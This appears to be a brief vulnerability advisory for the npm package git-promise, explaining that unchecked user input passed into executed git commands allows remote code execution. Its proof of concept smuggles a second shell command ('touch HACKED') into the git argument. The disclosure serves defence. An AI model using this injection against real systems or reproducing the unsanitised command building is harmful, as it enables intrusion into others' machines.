Overview

git-promise is a Simple wrapper that allows you to run any git command using a more intuitive syntax.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). The issue occurs because a user input is formatted inside a command that will be executed without any check.

PoC

var git = require("git-promise");
 
git("init;touch HACKED").then(function (branch) {
  console.log(branch); 
});
